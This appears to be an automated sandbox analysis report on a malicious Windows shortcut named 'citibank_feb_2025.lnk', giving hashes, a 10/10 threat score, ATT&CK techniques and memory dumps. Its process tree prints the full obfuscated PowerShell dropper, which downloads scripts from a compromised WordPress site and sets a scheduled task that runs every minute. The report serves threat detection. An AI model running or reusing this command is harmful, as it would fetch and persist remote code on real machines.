7d7319a069e4ce6453f554bd52c6103db586c3615e8f1bbc59748b11b2c9a926

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
04/03/2025, 10:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

citibank_feb_2025.lnk
Size

1KB
MD5

4faa35703e3c7a20143562b271ceca2f
SHA1

2d87ff75eb532029ab63ed68971471589f28a847
SHA256

7d7319a069e4ce6453f554bd52c6103db586c3615e8f1bbc59748b11b2c9a926
SHA512

ab0659b71b2a6593a288d1fe869f3615dea4eb3684df62670f1bfb38b342a8a529fa933ee78743aa162d474ffaad7b9e381f6c3186d2bed798fb27f3bfa09133

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://www.centralelatterieti.com/wp-content/uploads/2020/obviation3S0.php

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2596	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2596	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2596	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2428 wrote to memory of 2596	2428	cmd.exe	29
PID 2428 wrote to memory of 2596	2428	cmd.exe	29
PID 2428 wrote to memory of 2596	2428	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\citibank_feb_2025.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $pdw = $env:programdata + '\' + ('778ycf5h9kz2sm.js iagx9x77v'); $dwnf='Dow'+'nl'+'oadF'+'ile'; $b10frxwtardxmxv8j = New-Object Net.WebClient; $wsd = $b10frxwtardxmxv8j.DownloadString('https://www.centralelatterieti.com/wp-content/uploads/2020/obviation3S0.php'); $b10frxwtardxmxv8j.$dwnf('https://www.centralelatterieti.com/wp-content/uploads/2020/commendedtz4.php', '778ycf5h9kz2sm.js'); $b10frxwtardxmxv8j.$dwnf('https://www.centralelatterieti.com/wp-content/uploads/2020/caninusAXRu.php', 'iagx9x77v.js'); . ('scht'+'as'+'ks') /create /sc minute /mo 1 /f /tr ($wsd + $pdw) /tn iagx9x77v;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2596

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2596-38-0x000007FEF60AE000-0x000007FEF60AF000-memory.dmp

Filesize
4KB

Download
memory/2596-39-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2596-40-0x0000000002780000-0x0000000002788000-memory.dmp

Filesize
32KB

Download
memory/2596-41-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2596-42-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2596-43-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2596-44-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2596-45-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2596-46-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download